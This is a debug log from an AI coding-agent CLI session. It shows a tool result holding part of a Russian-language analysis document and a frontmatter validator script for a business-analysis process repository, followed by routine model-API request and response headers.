\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\",\n[2026-09-29T07:46:34.750Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:34.750Z] [INFO]       }\n[2026-09-29T07:46:34.750Z] [INFO]     ]\n[2026-09-29T07:46:34.750Z] [INFO]   },\n[2026-09-29T07:46:34.750Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:34.750Z] [INFO]   \"session_id\": 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standard:related_standards | \\\\\\n212:    default:type | default:context | default:method | default:related_artifacts | \\\\\\n222:validate_status() {\\n233:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid knowledge status '$value' (expected one of: draft, reviewed, canonical, superseded)\\\"\\n244:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid governance status '$value' (expected one of: draft, proposed, accepted, rejected, deprecated, superseded)\\\"\\n255:      error \\\"$path\\\" \\\"$line\\\" \\\"invalid status '$value' (expected a controlled lifecycle status)\\\"\\n268:    status)\\n269:      validate_status \\\"$path\\\" \\\"$class\\\" \\\"$line\\\" \\\"$value\\\"\\n284:    temperature)\\n286:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid temperature '$value' (expected number from 0 to 2)\\\"\\n288:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid temperature '$value' (expected number from 0 to 2)\\\"\\n319:    decision-type)\\n324:          error \\\"$path\\\" \\\"$line\\\" \\\"invalid decision-type '$value' (expected one of: governance, methodology, product, curriculum, runtime)\\\"\\n462:  if [[ \\\"$class\\\" == \\\"adr\\\" && -z \\\"${lines[decision-type]+set}\\\" ]]; then\\n463:    error \\\"$path\\\" 1 \\\"missing required frontmatter field for ADR artifact: decision-type\\\"\\n485:    find \\\"$target\\\" -type f -name '*.md' | sort\\n---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n\\n\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\nCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\",\n[2026-09-29T07:46:34.750Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:46:34.750Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:46:34.750Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:46:34.750Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:46:34.750Z] [INFO]   }\n[2026-09-29T07:46:34.750Z] [INFO] }\n[2026-09-29T07:46:34.782Z] [STDOUT] [log_e7ccb8] sending request {\n[2026-09-29T07:46:34.784Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:34.789Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:34.793Z] [STDOUT]   options: {\n[2026-09-29T07:46:34.796Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:34.799Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:34.802Z] [STDOUT]     body: {\n[2026-09-29T07:46:34.805Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:34.811Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:34.814Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:34.818Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:34.820Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:34.823Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:34.827Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:34.831Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:34.837Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:34.842Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:34.851Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:34.858Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:34.861Z] [STDOUT]     },\n[2026-09-29T07:46:34.868Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:34.874Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:34.879Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:34.889Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:34.893Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:34.897Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:34.902Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:34.905Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:34.912Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:34.919Z] [STDOUT]     },\n[2026-09-29T07:46:34.923Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:34.928Z] [STDOUT]   },\n[2026-09-29T07:46:34.931Z] [STDOUT]   headers: {\n[2026-09-29T07:46:34.942Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:34.946Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:34.950Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:34.953Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:34.957Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:34.960Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:34.964Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:34.967Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:34.971Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:34.975Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1401\",\n[2026-09-29T07:46:34.983Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:34.987Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:34.990Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:34.995Z] [STDOUT]     \"x-client-request-id\": \"1c2d2178-cf73-4dd5-b1a0-c17e2578f176\",\n[2026-09-29T07:46:34.998Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:35.005Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:35.008Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:35.012Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:35.016Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:35.021Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:35.025Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:35.028Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:35.034Z] [STDOUT]   },\n[2026-09-29T07:46:35.037Z] [STDOUT] }\n[2026-09-29T07:46:35.055Z] [STDOUT] [log_6bf8e0, request-id: \"req_011CfXMqrL3e3Xg46QJJqoJ6\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 977ms\n[2026-09-29T07:46:35.058Z] [STDOUT] [log_6bf8e0] response start {\n[2026-09-29T07:46:35.059Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:35.064Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:35.070Z] [STDOUT]   headers: {\n[2026-09-29T07:46:35.075Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:35.079Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:35.082Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:35.089Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:35.093Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:35.098Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.102Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:35.104Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:35.109Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:35.115Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:35.121Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:35.129Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:35.134Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:35.159Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.164Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:35.179Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:35.184Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:35.186Z] [STDOUT]     \"cf-ray\": \"a4295ff1ce05dbb5-FRA\",\n[2026-09-29T07:46:35.189Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:35.192Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:35.195Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:35.197Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:35.200Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:34 GMT\",\n[2026-09-29T07:46:35.203Z] [STDOUT]     \"request-id\": \"req_011CfXMqrL3e3Xg46QJJqoJ6\",\n[2026-09-29T07:46:35.205Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:35.211Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:35.214Z] [STDOUT]     traceresponse: \"00-73059ccff7f7f96c029378776d52efb8-a7a87ce948d3292a-01\",\n[2026-09-29T07:46:35.221Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:35.227Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:35.231Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:35.233Z] [STDOUT]   },\n[2026-09-29T07:46:35.239Z] [STDOUT]   durationMs: 977,\n[2026-09-29T07:46:35.243Z] [STDOUT] }\n[2026-09-29T07:46:35.248Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:35.251Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:34 GMT\",\n[2026-09-29T07:46:35.255Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:35.259Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:35.266Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:35.269Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:35.272Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:35.275Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:35.278Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:35.281Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:35.284Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:35.291Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:35.294Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:35.299Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:35.302Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:35.305Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:35.308Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:35.313Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.316Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:35.321Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:35.326Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:35.334Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:35.337Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.340Z] [STDOUT]   \"request-id\": \"req_011CfXMqrL3e3Xg46QJJqoJ6\",\n[2026-09-29T07:46:35.349Z] [STDOUT]   \"traceresponse\": \"00-73059ccff7f7f96c029378776d52efb8-a7a87ce948d3292a-01\",\n[2026-09-29T07:46:35.354Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:35.357Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:35.360Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:35.362Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:35.366Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:35.369Z] [STDOUT]   \"cf-ray\": \"a4295ff1ce05dbb5-FRA\",\n[2026-09-29T07:46:35.371Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:35.374Z] [STDOUT] [log_6bf8e0] response parsed {\n[2026-09-29T07:46:35.379Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:35.381Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:35.387Z] [STDOUT]   body: X {\n[2026-09-29T07:46:35.392Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:35.397Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:35.401Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:35.407Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:35.454Z] [STDOUT]     },\n[2026-09-29T07:46:35.468Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:35.471Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:35.475Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:35.479Z] [STDOUT]   },\n[2026-09-29T07:46:35.484Z] [STDOUT]   durationMs: 978,\n[2026-09-29T07:46:35.488Z] [STDOUT] }\n[2026-09-29T07:46:35.496Z] [STDOUT] [log_0be5d3, request-id: \"req_011CfXMqrzyPyqfovztiGB9A\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 888ms\n[2026-09-29T07:46:35.503Z] [STDOUT] [log_0be5d3] response start {\n[2026-09-29T07:46:35.506Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:35.511Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:35.521Z] [STDOUT]   headers: {\n[2026-09-29T07:46:35.530Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:35.535Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:35.540Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:35.547Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:35.563Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:35.582Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.592Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:35.603Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:35.611Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:35.621Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:35.629Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:35.635Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:35.647Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:35.657Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.659Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:35.661Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:35.664Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:35.667Z] [STDOUT]     \"cf-ray\": \"a4295ff2cf3629ad-FRA\",\n[2026-09-29T07:46:35.669Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:35.671Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:35.673Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:35.684Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:35.687Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:34 GMT\",\n[2026-09-29T07:46:35.690Z] [STDOUT]     \"request-id\": \"req_011CfXMqrzyPyqfovztiGB9A\",\n[2026-09-29T07:46:35.692Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:35.695Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:35.703Z] [STDOUT]     traceresponse: \"00-b97d1b763c2616cbfa1d1d84035a544e-8a00889ad59310de-01\",\n[2026-09-29T07:46:35.706Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:35.709Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:35.713Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:35.719Z] [STDOUT]   },\n[2026-09-29T07:46:35.724Z] [STDOUT]   durationMs: 888,\n[2026-09-29T07:46:35.727Z] [STDOUT] }\n[2026-09-29T07:46:35.733Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:35.739Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:34 GMT\",\n[2026-09-29T07:46:35.744Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:35.753Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:35.756Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:35.760Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:35.764Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:35.768Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:35.772Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:35.775Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:35.779Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:35.783Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:35.790Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:35.793Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:35.797Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:35.802Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:35.808Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:35.810Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.819Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:35.825Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:35.837Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:35.845Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:35.850Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:35.856Z] [STDOUT]   \"request-id\": \"req_011CfXMqrzyPyqfovztiGB9A\",\n[2026-09-29T07:46:35.861Z] [STDOUT]   \"traceresponse\": \"00-b97d1b763c2616cbfa1d1d84035a544e-8a00889ad59310de-01\",\n[2026-09-29T07:46:35.863Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:35.866Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:35.869Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:35.872Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:35.874Z] [STDOUT]   \"x-robots-tag\": 